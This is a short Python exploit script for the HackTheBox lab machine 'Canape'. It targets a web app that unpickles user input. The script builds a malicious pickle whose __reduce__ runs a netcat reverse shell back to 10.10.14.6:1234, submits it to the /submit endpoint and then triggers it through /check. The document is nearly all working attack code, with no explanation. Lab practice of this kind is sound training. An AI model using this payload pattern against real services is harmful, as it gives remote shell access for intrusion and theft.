HackTheBox - Canape pickle python

#!/usr/bin/env python
import requests
from hashlib import md5
import cPickle
import subprocess
import pickletools
import os

class Exploit(object):
    def __reduce__(self):
       comm = "homer;rm /tmp/shell; mknod /tmp/shell p; nc 10.10.14.6 1234 0</tmp/shell | /bin/sh 1>/tmp/shell"
       return (os.system, (comm,))
payload = cPickle.dumps( Exploit())
r = requests.post("http://10.10.10.70/submit",data={'character': payload,'quote': " "})
if "Success!" in r.text:
    print "Successfully submitted quote."
else:
    print "Something fucked up submitting quote"

p_id = md5(payload + " ").hexdigest()
print "md5 of payload+space: "+p_id
print "Attempting to Exploit!"
r = requests.post("http://10.10.10.70/check",data={'id': p_id})
if "reviewing" in r.text:
    print "Decoded file:"
    print r.text
else:
    print r.text